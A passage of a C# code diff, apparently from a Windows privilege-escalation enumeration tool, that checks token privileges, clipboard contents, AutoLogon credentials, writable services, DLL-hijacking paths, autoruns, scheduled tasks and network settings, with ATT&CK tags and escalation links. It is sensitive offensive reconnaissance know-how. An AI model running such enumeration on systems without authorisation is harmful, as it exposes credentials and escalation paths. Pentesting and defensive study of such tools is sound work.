Colorful.Console.WriteLineStyled(" Current user: " + currentUserName, CreateUsersSS()); + Beaprint.ListPrint(users_grps, CreateUsersSS()); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintTokenP() + { + try + { + Beaprint.MainPrint("Current Token privileges", "T1134"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#token-manipulation", "Check if you can escalate privilege using some enabled token"); + Dictionary token_privs = UserInfo.GetTokenGroupPrivs(); + if (using_ansii) + Beaprint.DictPrint(token_privs, colorsU(), false); + else + Beaprint.DictPrint(token_privs, CreateUsersSS(), false); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintClipboardText() + { + try + { + Beaprint.MainPrint("Clipboard text", "T1134"); + string clipb = UserInfo.GetClipboardText(); + if (String.IsNullOrEmpty(clipb)) + Colorful.Console.WriteLine(clipb, color_bad); + else + { + if (exec_cmd) + Beaprint.BadPrint(" " + MyUtils.ExecCMD("powershell -command Get-Clipboard")); + else { + Beaprint.NotFoundPrint(); + Beaprint.InfoPrint(" This C# implementation to capture the clipboard is not trustable in every Windows version"); + Beaprint.InfoPrint(" If you want to see what is inside the clipboard execute 'powershell -command \"Get - Clipboard\"'"); + } + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintLoggedUsers() + { + try + { + Beaprint.MainPrint("Logged users", "T1087&T1033"); + List loggedusers = UserInfo.GetLoggedUsers(); + if (using_ansii) + Beaprint.ListPrint(loggedusers, colorsU()); + else + Beaprint.ListPrint(loggedusers, CreateUsersSS()); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintRdpSessions() + { + try + { + Beaprint.MainPrint("RDP Sessions", "T1087&T1033"); + List> rdp_sessions = UserInfo.GetRDPSessions(); + if (rdp_sessions.Count > 0) + { + string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}"; + string header = String.Format(format, "SessID", "pSessionName", "pUserName", "pDomainName", "State", "SourceIP"); + if (using_ansii) { + System.Console.WriteLine(header); + foreach (Dictionary rdp_ses in rdp_sessions) + Beaprint.AnsiiPrint(String.Format(format, rdp_ses["SessionID"], rdp_ses["pSessionName"], rdp_ses["pUserName"], rdp_ses["pDomainName"], rdp_ses["State"], rdp_ses["SourceIP"]), colorsU()); + } + else { + Colorful.Console.WriteLineStyled(header, onlyKeyStyleSheet); + foreach (Dictionary rdp_ses in rdp_sessions) + Colorful.Console.WriteLineStyled(String.Format(format, rdp_ses["SessionID"], rdp_ses["pSessionName"], rdp_ses["pUserName"], rdp_ses["pDomainName"], rdp_ses["State"], rdp_ses["SourceIP"]), CreateUsersSS()); + } + } + else + Beaprint.NotFoundPrint(); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintEverLoggedUsers() + { + try + { + Beaprint.MainPrint("Ever logged users", "T1087&T1033"); + List everlogged = UserInfo.GetEverLoggedUsers(); + if (using_ansii) + Beaprint.ListPrint(everlogged, colorsU()); + else + Beaprint.ListPrint(everlogged, CreateUsersSS()); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintAutoLogin() + { + try + { + Beaprint.MainPrint("Looking for AutoLogon credentials", "T1012"); + bool ban = false; + Dictionary autologon = UserInfo.GetAutoLogon(); + if (autologon.Count > 0) { + foreach (KeyValuePair entry in autologon) + { + if (entry.Value != null && entry.Value != "") + { + if (!ban) + { + Beaprint.BadPrint("Some AutoLogon credentials were found!!"); + ban = true; + } + if (using_ansii) + Beaprint.AnsiiPrint(String.Format(" {0,-30}: {1}", entry.Key, entry.Value), colorsU()); + else + Colorful.Console.WriteLineStyled(String.Format(" {0,-30}: {1}", entry.Key, entry.Value), CreateUsersSS()); + } + else + Beaprint.NotFoundPrint(); + } + } + else + Beaprint.NotFoundPrint(); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintHomeFolders() + { + try + { + Beaprint.MainPrint("Home folders found", "T1087&T1083&T1033"); + List user_folders = UserInfo.GetUsersFolders(); + foreach(string ufold in user_folders) + { + string perms = String.Join(", ", MyUtils.GetPermissionsFolder(ufold, interestingUsersGroups)); + if (perms.Length > 0) + Beaprint.BadPrint(" " + ufold + " : " + perms); + else + Beaprint.GoodPrint(" " + ufold); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintPasswordPolicies() + { + try + { + Beaprint.MainPrint("Password Policies", "T1201"); + Beaprint.LinkPrint("", "This is insteresting for brute-force"); + List> PPy = UserInfo.GetPasswordPolicy(); + if (using_ansii) + Beaprint.DictPrint(PPy, colorsU(), false); + else + Beaprint.DictPrint(PPy, CreateUsersSS(), false); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + + Beaprint.GreatPrint("Users Information"); + PrintCU(); + PrintTokenP(); + PrintClipboardText(); + PrintLoggedUsers(); + PrintRdpSessions(); + PrintEverLoggedUsers(); + PrintAutoLogin(); + PrintHomeFolders(); + PrintPasswordPolicies(); + } + + + + ///////////////////////////////////////////////// + ///////////// PROCESSES INFORMATION ///////////// + ///////////////////////////////////////////////// + private static void PrintInfoProcesses() + { + void PrintInterestingProcesses() + { + /* Colors Code + * RED: + * ---- Write privileges in path + * ---- Different Owner than myself + * GREEN: + * ---- No Write privileges in path + * MAGENTA: + * ---- Current username + */ + try + { + Beaprint.MainPrint("Interesting Processes -non Microsoft-", "T1010&T1057&T1007"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes", "Check if any interesting proccesses for memmory dump or if you could overwrite some binary running"); + List> processes_info = ProcessesInfo.GetProcessInfo(); + var color_product = color_default; + foreach (Dictionary proc_info in processes_info) + { + if (ProcessesInfo.defensiveProcesses.ContainsKey(proc_info["Name"])) + { + proc_info["Product"] = ProcessesInfo.defensiveProcesses[proc_info["Name"]].ToString(); + color_product = color_good; + } + else if (ProcessesInfo.interestingProcesses.ContainsKey(proc_info["Name"])) + { + proc_info["Product"] = ProcessesInfo.interestingProcesses[proc_info["Name"]].ToString(); + color_product = color_bad; + } + else if (ProcessesInfo.browserProcesses.ContainsKey(proc_info["Name"])) + { + color_product = Color.MediumPurple; + proc_info["Product"] = ProcessesInfo.browserProcesses[proc_info["Name"]].ToString(); + } + + List file_rights = MyUtils.GetPermissionsFile(proc_info["ExecutablePath"], interestingUsersGroups); + List dir_rights = new List(); + if (proc_info["ExecutablePath"] != null && proc_info["ExecutablePath"] != "") + dir_rights = MyUtils.GetPermissionsFolder(Path.GetDirectoryName(proc_info["ExecutablePath"]), interestingUsersGroups); + + string formString = " {0}({1})[{2}]"; + if (proc_info["Product"] != null && proc_info["Product"].Length > 1) + formString += ": {3}"; + if (proc_info["Owner"].Length > 1) + formString += " -- POwn: {4}"; + if (proc_info["isDotNet"].Length > 1) + formString += " -- {5}"; + if (file_rights.Count > 0) + formString += "\n Permissions: {6}"; + if (dir_rights.Count > 0) + formString += "\n Possible DLL Hijacking folder: {7}"; + if (proc_info["CommandLine"].Length > 1) + formString += "\n {8}"; + + if (using_ansii) + { + Dictionary colorsP = new Dictionary() + { + { currentUserName, ansii_current_user }, + { "Permissions:.*", ansii_color_bad }, + { "Possible DLL Hijacking.*", ansii_color_bad }, + { proc_info["ExecutablePath"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?"), (file_rights.Count > 0 || dir_rights.Count > 0) ? ansii_color_bad : ansii_color_good }, + }; + Beaprint.AnsiiPrint(String.Format(formString, proc_info["Name"], proc_info["ProcessID"], proc_info["ExecutablePath"], proc_info["Product"], proc_info["Owner"], proc_info["isDotNet"], String.Join(", ", file_rights), dir_rights.Count > 0 ? Path.GetDirectoryName(proc_info["ExecutablePath"]) : "", String.Join(", ", dir_rights), proc_info["CommandLine"]), colorsP); + } + else + { + Formatter[] colorsString = new Formatter[] + { + new Formatter(proc_info["Name"], Color.DarkOrange), + new Formatter(proc_info["ProcessID"], Color.MediumPurple), + new Formatter(proc_info["ExecutablePath"], (file_rights.Count > 0 || dir_rights.Count > 0) ? color_bad : color_good), + new Formatter(proc_info["Product"], color_product), + new Formatter(proc_info["Owner"], (proc_info["Owner"].ToLower() == currentUserName.ToLower()) ? Color.Magenta : color_bad), + new Formatter(proc_info["isDotNet"], color_default), + new Formatter(String.Join(", ", file_rights), color_bad), + new Formatter(String.Join(", ", dir_rights), color_bad), + new Formatter(proc_info["CommandLine"], Color.Gray), + }; + Colorful.Console.WriteLineFormatted(formString, color_key, colorsString); + } + Beaprint.PrintLineSeparator(); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + Beaprint.GreatPrint("Processes Information"); + PrintInterestingProcesses(); + } + + + + ///////////////////////////////////////////////// + ////////////// SERVICES INFORMATION ///////////// + ///////////////////////////////////////////////// + private static void PrintInfoServices() + { + void PrintInterestingServices() + { + /* Colors Code + * RED: + * ---- Write privilege in path or path without quotes and some space + * ---- Startmode = Auto + * GREEN: + * ---- No write privileges + * ---- Startmode = Manual + */ + try + { + Beaprint.MainPrint("Interesting Services -non Microsoft-", "T1007"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services", "Check if you can overwrite some service binary or perform a DLL hijacking, also cehck for unquoted paths"); + List> services_info = ServicesInfo.GetNonstandardServices(); + foreach (Dictionary service_info in services_info) + { + List file_rights = MyUtils.GetPermissionsFile(service_info["FilteredPath"], interestingUsersGroups); + List dir_rights = new List(); + if (service_info["FilteredPath"] != null && service_info["FilteredPath"] != "") + dir_rights = MyUtils.GetPermissionsFolder(Path.GetDirectoryName(service_info["FilteredPath"]), interestingUsersGroups); + + bool no_quotes_and_space = MyUtils.CheckQuoteAndSpace(service_info["PathName"]); + + string formString = " {0}("; + if (service_info["CompanyName"] != null && service_info["CompanyName"].Length > 1) + formString += "{1} - "; + if (service_info["DisplayName"].Length > 1) + formString += "{2}"; + formString += ")"; + if (service_info["PathName"].Length > 1) + formString += "[{3}]"; + if (service_info["StartMode"].Length > 1) + formString += " - {4}"; + if (service_info["State"].Length > 1) + formString += " - {5}"; + if (service_info["isDotNet"].Length > 1) + formString += " - {6}"; + if (no_quotes_and_space) + formString += " - {7}"; + if (file_rights.Count > 0) + formString += "\n File Permissions: {8}"; + if (dir_rights.Count > 0) + formString += "\n Possible DLL Hijacking in binary folder: {9}"; + if (service_info["Description"].Length > 1) + formString += "\n {10}"; + + if (using_ansii) + { + Dictionary colorsS = new Dictionary() + { + { "File Permissions:.*", ansii_color_bad }, + { "Possible DLL Hijacking.*", ansii_color_bad }, + { "No quotes and Space detected", ansii_color_bad }, + { service_info["PathName"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?"), (file_rights.Count > 0 || dir_rights.Count > 0 || no_quotes_and_space) ? ansii_color_bad : ansii_color_good }, + { service_info["StartMode"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?"), (service_info["StartMode"].ToLower() == "auto") ? ansii_color_bad : ansii_color_good }, + }; + Beaprint.AnsiiPrint(String.Format(formString, service_info["Name"], service_info["CompanyName"], service_info["DisplayName"], service_info["PathName"], service_info["StartMode"], service_info["State"], service_info["isDotNet"], "No quotes and Space detected", String.Join(", ", file_rights), dir_rights.Count > 0 ? Path.GetDirectoryName(service_info["FilteredPath"]) : "", String.Join(", ", dir_rights), service_info["Description"]), colorsS); + } + else + { + Formatter[] colorsString = new Formatter[] + { + new Formatter(service_info["Name"], color_default), + new Formatter(service_info["CompanyName"], color_default), + new Formatter(service_info["DisplayName"], color_default), + new Formatter(service_info["PathName"], (file_rights.Count > 0 || dir_rights.Count > 0 || no_quotes_and_space) ? color_bad : color_good), + new Formatter(service_info["StartMode"], (service_info["StartMode"].ToLower() == "auto") ? color_bad : color_good), + new Formatter(service_info["State"], (service_info["State"].ToLower() == "running") ? color_good : color_default), + new Formatter(service_info["isDotNet"], color_default), + new Formatter("No quotes and Space detected", color_bad), + new Formatter(String.Join(", ", file_rights), color_bad), + new Formatter(String.Join(", ", dir_rights), color_bad), + new Formatter(service_info["Description"], Color.Gray), + }; + Colorful.Console.WriteLineFormatted(formString, color_key, colorsString); + } + Beaprint.PrintLineSeparator(); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintWritableRegServices() + { + try + { + Beaprint.MainPrint("Looking if you can modify any service registry", ""); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service"); + List overWriteServs = ServicesInfo.GetWriteServiceRegs(); + if (overWriteServs.Count <= 0) + Beaprint.GoodPrint(" [-] Looks like you cannot change the registry of any service..."); + else + { + foreach (string writeServReg in overWriteServs) + Beaprint.BadPrint(" [!] Looks like you can change the binpath the service in " + writeServReg + " !!"); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintPathDLLHijacking() + { + try + { + Beaprint.MainPrint("Checking write permissions in PATH folders (DLL Hijacking)", ""); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking", "Check for DLL Hijacking in PATH folders"); + Dictionary path_dllhijacking = ServicesInfo.GetPathDLLHijacking(); + foreach (KeyValuePair entry in path_dllhijacking) + { + if (String.IsNullOrEmpty(entry.Value)) + Beaprint.GoodPrint(" " + entry.Key); + else + Beaprint.BadPrint(" (DLL Hijacking) " + entry.Key + ": " + entry.Value); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + + Beaprint.GreatPrint("Services Information"); + PrintInterestingServices(); + PrintWritableRegServices(); + PrintPathDLLHijacking(); + } + + + + ///////////////////////////////////////////////// + //////////// APPLICATION INFORMATION //////////// + ///////////////////////////////////////////////// + private static void PrintInfoApplications() + { + void PrintActiveWindow() + { + try + { + Beaprint.MainPrint("Current Active Window Application", "T1010&T1518"); + string title = ApplicationInfo.GetActiveWindowTitle(); + List permsFile = MyUtils.GetPermissionsFile(title, interestingUsersGroups); + List permsFolder = MyUtils.GetPermissionsFolder(title, interestingUsersGroups); + if (permsFile.Count > 0) + { + Beaprint.BadPrint(" " + title); + Beaprint.BadPrint(" FilePermissions: " + String.Join(",", permsFile)); + } + else + Beaprint.GoodPrint(" " + title); + + if (permsFolder.Count > 0) + { + Beaprint.BadPrint(" Possible DLL Hijacking, folder is writable: " + MyUtils.GetFolderFromString(title)); + Beaprint.BadPrint(" FolderPermissions: " + String.Join(",", permsFile)); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintInstalledApps() + { + try + { + Beaprint.MainPrint("Installed Applications --Via Program Files--", "T1083&T1012&T1010&T1518"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software", "Check if you can modify installed software"); + Dictionary> InstalledAppsPerms = ApplicationInfo.GetInstalledAppsPerms(); + string format = " ==> {0}({1})"; + foreach (KeyValuePair> app in InstalledAppsPerms) + { + if (String.IsNullOrEmpty(app.Value.ToString())) //If empty, nothing found, is good + Beaprint.GoodPrint(app.Key); + + else //Then, we need to look deeper + { + //Checkeamos si la carpeta (que va a existir como subvalor dentro de si misma) debe ser good + if (String.IsNullOrEmpty(app.Value[app.Key])) + Beaprint.GoodPrint(" " + app.Key); + + else + { + Beaprint.BadPrint(String.Format(" {0}({1})", app.Key, app.Value[app.Key])); + app.Value[app.Key] = ""; //So no reprinted later + } + + //Check the rest of the values to see if we have something to print in red (permissions) + foreach (KeyValuePair subfolder in app.Value) + { + if (!String.IsNullOrEmpty(subfolder.Value)) + Beaprint.BadPrint(String.Format(format, subfolder.Key, subfolder.Value)); + } + } + } + Colorful.Console.WriteLine(); + + Beaprint.MainPrint("Installed Applications --Via Registry--", "T1083&T1012&T1010"); + if (using_ansii) + { + Dictionary colorsA = new Dictionary() + { + { goodSoft, ansii_color_good } + }; + Beaprint.ListPrint(ApplicationInfo.GetAppsRegistry(), colorsA); + } + else + { + StyleSheet styleSheetIA = new StyleSheet(color_default); + styleSheetIA.AddStyle(goodSoft, color_good); + Beaprint.ListPrint(ApplicationInfo.GetAppsRegistry(), styleSheetIA); + } + } + catch + { + //Colorful.Console.WriteLine(ex); + } + } + + void PrintAutoRuns() + { + try + { + Beaprint.MainPrint("Autorun Applications", "T1010"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup", "Check if you can modify other users AutoRuns binaries"); + List> apps = ApplicationInfo.GetAutoRuns(); + + foreach (Dictionary app in apps) + { + Dictionary colorsA = new Dictionary() + { + { "FolderPerms:.*", ansii_color_bad }, + { "FilePerms:.*", ansii_color_bad }, + { "(Unquoted and Space detected)", ansii_color_bad }, + { "(RegPath is writable)", ansii_color_bad }, + { (app["Folder"].Length > 0) ? app["Folder"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?") : "ouigyevb2uivydi2u3id2ddf3", !String.IsNullOrEmpty(app["interestingFolderRights"]) ? ansii_color_bad : ansii_color_good }, + { (app["File"].Length > 0) ? app["File"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?") : "adu8v298hfubibuidiy2422r", !String.IsNullOrEmpty(app["interestingFileRights"]) ? ansii_color_bad : ansii_color_good }, + { (app["Reg"].Length > 0) ? app["Reg"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?") : "o8a7eduia37ibduaunbf7a4g7ukdhk4ua", (app["isWritableReg"].ToLower() == "true") ? ansii_color_bad : ansii_color_good }, + }; + StyleSheet styleSheetAA = new StyleSheet(color_default); + styleSheetAA.AddStyle("FolderPerms", color_bad); + string string1 = "", string2 = ""; + + if (!String.IsNullOrEmpty(app["Folder"])) + string1 += " Folder: " + app["Folder"]; + if (!String.IsNullOrEmpty(app["interestingFolderRights"])) + { + string2 += " FolderPerms: " + app["interestingFolderRights"]; + styleSheetAA.AddStyle(app["Folder"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)"), color_bad); + } + else + { + if (!String.IsNullOrEmpty(app["Folder"])) + styleSheetAA.AddStyle(app["Folder"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)"), color_good); + } + if (using_ansii) + { + Beaprint.AnsiiPrint(string1, colorsA); + Beaprint.AnsiiPrint(string2, colorsA); + } + else + { + Colorful.Console.WriteLineStyled(string1, styleSheetAA); + styleSheetAA.AddStyle(paint_interestingUserGroups, Color.Magenta); + Colorful.Console.WriteLineStyled(string2, styleSheetAA); + } + + // Because of mixin color rules between folder and file path 2 stylesheets are neede + styleSheetAA = new StyleSheet(color_default); + styleSheetAA.AddStyle("FilePerms", color_bad); + string1 = ""; string2 = ""; + + string filepath_mod = app["File"].Replace("\"", "").Replace("'", ""); + if (!String.IsNullOrEmpty(app["File"])) + string1 += " File: " + filepath_mod; + + if (app["isUnquotedSpaced"].ToLower() == "true") + { + string1 += " (Unquoted and Space detected)"; + styleSheetAA.AddStyle("Unquoted and Space detected", color_bad); + } + + if (!String.IsNullOrEmpty(app["interestingFileRights"])) + { + string2 += " FilePerms: " + app["interestingFileRights"]; + styleSheetAA.AddStyle(filepath_mod.Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)"), color_bad); + } + else if (app["isUnquotedSpaced"].ToLower() == "true") + { + styleSheetAA.AddStyle(filepath_mod.Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)"), color_bad); + } + else + { + if (app["File"] != null && app["File"] != "") + styleSheetAA.AddStyle(filepath_mod.Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)"), color_good); + } + + if (!String.IsNullOrEmpty(app["Reg"])) + if (string2 != "") + string2 += "\n RegPath: " + app["Reg"]; + else + string2 += " RegPath: " + app["Reg"]; + if (app["isWritableReg"].ToLower() == "true") + { + string2 += " (RegPath is writable)"; + styleSheetAA.AddStyle("RegPath is writable", color_bad); + styleSheetAA.AddStyle(app["Reg"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)"), color_bad); + } + else + { + if (!String.IsNullOrEmpty(app["Reg"])) + styleSheetAA.AddStyle(app["Reg"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)"), color_good); + } + + if (using_ansii) + { + Beaprint.AnsiiPrint(string1, colorsA); + Beaprint.AnsiiPrint(string2, colorsA); + } + else + { + Colorful.Console.WriteLineStyled(string1, styleSheetAA); + styleSheetAA.AddStyle(paint_interestingUserGroups, Color.Magenta); + Colorful.Console.WriteLineStyled(string2, styleSheetAA); + } + Beaprint.PrintLineSeparator(); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintScheduled() + { + try + { + Beaprint.MainPrint("Scheduled Applications --Non Microsoft--", "T1010"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup", "Check if you can modify other users scheduled binaries"); + List> scheduled_apps = ApplicationInfo.GetScheduledAppsNoMicrosoft(); + + foreach (Dictionary sapp in scheduled_apps) + { + List file_rights = MyUtils.GetPermissionsFile(sapp["Action"], interestingUsersGroups); + List dir_rights = MyUtils.GetPermissionsFolder(sapp["Action"], interestingUsersGroups); + string formString = " ({0}) {1}: {2}"; + if (file_rights.Count > 0) + formString += "\n Permissions file: {3}"; + if (dir_rights.Count > 0) + formString += "\n Permissions folder(DLL Hijacking): {4}"; + if (!String.IsNullOrEmpty(sapp["Trigger"])) + formString += "\n Trigger: {5}"; + if (String.IsNullOrEmpty(sapp["Description"])) + formString += "\n {6}"; + + if (using_ansii) + { + Dictionary colorsS = new Dictionary() + { + { "Permissions.*", ansii_color_bad }, + { sapp["Action"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?"), (file_rights.Count > 0 || dir_rights.Count > 0) ? ansii_color_bad : ansii_color_good }, + }; + Beaprint.AnsiiPrint(String.Format(formString, sapp["Author"], sapp["Name"], sapp["Action"], String.Join(", ", file_rights), String.Join(", ", dir_rights), sapp["Trigger"], sapp["Description"]), colorsS); + } + else + { + Formatter[] colorsString = new Formatter[] + { + new Formatter(sapp["Author"], Color.DarkOrange), + new Formatter(sapp["Name"], color_default), + new Formatter(sapp["Action"], (file_rights.Count > 0 || dir_rights.Count > 0) ? color_bad : color_good), + new Formatter(String.Join(", ", file_rights), color_bad), + new Formatter(String.Join(", ", dir_rights), color_bad), + new Formatter(sapp["Trigger"], Color.MediumPurple), + new Formatter(sapp["Description"], Color.Gray), + }; + Colorful.Console.WriteLineFormatted(formString, color_key, colorsString); + } + Beaprint.PrintLineSeparator(); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + + Beaprint.GreatPrint("Applications Information"); + PrintActiveWindow(); + PrintInstalledApps(); + PrintAutoRuns(); + PrintScheduled(); + } + + + + ///////////////////////////////////////////////// + ////////////// NETWORK INFORMATION ////////////// + ///////////////////////////////////////////////// + private static void PrintInfoNetwork() + { + void PrintNetShares() + { + try + { + Beaprint.MainPrint("Network Shares", "T1135"); + if (using_ansii) + { + Dictionary colorsN = new Dictionary() + { + { badShares, ansii_color_bad }, + }; + Beaprint.ListPrint(NetworkInfo.GetNetworkShares("127.0.0.1"), colorsN); + } + else + { + StyleSheet styleSheetNS = new StyleSheet(color_default); + styleSheetNS.AddStyle(badShares, color_bad); + Beaprint.ListPrint(NetworkInfo.GetNetworkShares("127.0.0.1"), styleSheetNS); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintHostsFile() + { + try + { + Beaprint.MainPrint("Host File", "T1016"); + string[] lines = File.ReadAllLines(@Path.GetPathRoot(Environment.SystemDirectory) + @"\windows\system32\drivers\etc\hosts"); + foreach (string line in lines) + { + if (line.Length > 0 && line[0] != '#') + Colorful.Console.WriteLine(line, color_default); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintNetworkIfaces() + { + try + { + Beaprint.MainPrint("Network Ifaces and known hosts", "T1016"); + foreach (Dictionary card in NetworkInfo.GetNetCardInfo()) + { + string formString = " {0}[{1}]: {2} / {3}"; + if (card["Gateways"].Length > 1) + formString += "\n\tGateways: {4}"; + if (card["DNSs"].Length > 1) + formString += "\n\tDNSs: {5}"; + if (card["arp"].Length > 1) + formString += "\n\tKnown hosts:\n{6}"; + + if (using_ansii) + { + System.Console.WriteLine(String.Format(formString, card["Name"], card["PysicalAddr"], card["IPs"], card["Netmasks"].Replace(", 0.0.0.0", ""), card["Gateways"], card["DNSs"], card["arp"])); + } + else + { + Formatter[] colorsString = new Formatter[] + { + new Formatter(card["Name"], Color.DarkOrange), + new Formatter(card["PysicalAddr"], color_default), + new Formatter(card["IPs"], Color.OrangeRed), + new Formatter(card["Netmasks"].Replace(", 0.0.0.0", ""), Color.Gray), + new Formatter(card["Gateways"], Color.MediumPurple), + new Formatter(card["DNSs"], Color.MediumPurple), + new Formatter(card["arp"], Color.Gray), + }; + Colorful.Console.WriteLineFormatted(formString, color_key, colorsString); + } + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintListeningPorts() + { + try + { + Beaprint.MainPrint("Current Listening Ports", "T1049&T1049"); + Beaprint.LinkPrint("", "Check for services restricted from the outside"); + List> conns = NetworkInfo.GetNetConnections(); + + if (using_ansii) + { + Dictionary colorsN = new Dictionary() + { + { badIps, ansii_color_bad }, + }; + foreach (List conn in conns) + Beaprint.AnsiiPrint(String.Format(" {0,-10}{1,-23}{2,-23}{3}", conn[0], conn[1], conn[2], conn[3]), colorsN); + } + else + { + StyleSheet styleSheetLP = new StyleSheet(color_default); + styleSheetLP.AddStyle(badIps, color_bad); + styleSheetLP.AddStyle("Proto|Local Address|Foreing Address|State", color_key); + foreach (List conn in conns) + Colorful.Console.WriteLineStyled(String.Format(" {0,-10}{1,-23}{2,-23}{3}", conn[0], conn[1], conn[2], conn[3]), styleSheetLP); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintFirewallRules() + { + try + { + Beaprint.MainPrint("Firewall Rules", "T1016"); + StyleSheet styleSheetFW = new StyleSheet(color_default); + styleSheetFW.AddStyle(strFalse, color_bad); + styleSheetFW.AddStyle(strTrue, color_good); + styleSheetFW.AddStyle(@"Current Profiles:|FirewallEnabled \(Domain\):|FirewallEnabled \(Private\):|FirewallEnabled \(Public\):", color_key); + Colorful.Console.WriteLineStyled(" Current Profiles: " + NetworkInfo.GetFirewallProfiles(), styleSheetFW); + foreach (KeyValuePair entry in NetworkInfo.GetFirewallBooleans()) + Colorful.Console.WriteLineStyled(String.Format(" {0,-23}:\t{1}", entry.Key, entry.Value), styleSheetFW); + + + foreach (Dictionary rule in NetworkInfo.GetFirewallRules()) + { + string file_perms = String.Join(", ", MyUtils.GetPermissionsFile(rule["AppName"], interestingUsersGroups)); + string folder_perms = String.Join(", ", MyUtils.GetPermissionsFolder(rule["AppName"], interestingUsersGroups)); + string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}"; + if (file_perms.Length > 0) + formString += "\n File Permissions: {8}"; + if (folder_perms.Length > 0) + formString += "\n Folder Permissions: {9}"; + formString += "\n {10}"; + + if (using_ansii) { + Dictionary colorsN = new Dictionary() + { + { strFalse, ansii_color_bad }, + { strTrue, ansii_color_good }, + { "File Permissions.*|Folder Permissions.*", ansii_color_bad }, + { rule["AppName"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?"), (file_perms.Length > 0 || folder_perms.Length > 0) ? ansii_color_bad : ansii_color_good }, + }; + Beaprint.AnsiiPrint(String.Format(formString, rule["Profiles"], rule["Name"], rule["AppName"], rule["Action"], rule["Protocol"], rule["Direction"], rule["Direction"] == "IN" ? rule["Local"] : rule["Remote"], rule["Direction"] == "IN" ? rule["Remote"] : rule["Local"], file_perms, folder_perms, rule["Description"]), colorsN); + } + else + { + Formatter[] colorsString = new Formatter[] + { + new Formatter(rule["Profiles"], Color.Gray), + new Formatter(rule["Name"], Color.DarkOrange), + new Formatter(rule["AppName"], (file_perms.Length > 0 || folder_perms.Length > 0) ? color_bad : color_good), + new Formatter(rule["Action"], Color.OrangeRed), + new Formatter(rule["Protocol"], Color.MediumPurple), + new Formatter(rule["Direction"], color_default), + new Formatter(rule["Direction"] == "IN" ? rule["Local"] : rule["Remote"], rule["Direction"] == "IN" ? color_default : Color.White), + new Formatter(rule["Direction"] == "IN" ? rule["Remote"] : rule["Local"], rule["Direction"] == "IN" ? Color.White : color_default), + new Formatter(file_perms, color_bad), + new Formatter(folder_perms, color_bad), + new Formatter(rule["Description"], Color.Gray), + }; + Colorful.Console.WriteLineFormatted(formString, color_key, colorsString); + } + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintDNSCache() + { + try + { + Beaprint.MainPrint("DNS cached --limit 70--", "T1016"); + Colorful.Console.WriteLineStyled(String.Format(" {0,-38}{1,-38}{2}", "Entry", "Name", "Data"), onlyKeyStyleSheet); + List> DNScache = NetworkInfo.GetDNSCache(); + foreach (Dictionary entry in DNScache.GetRange(0, DNScache.Count <= 70 ? DNScache.Count : 70)) + Colorful.Console.WriteLineStyled(String.Format(" 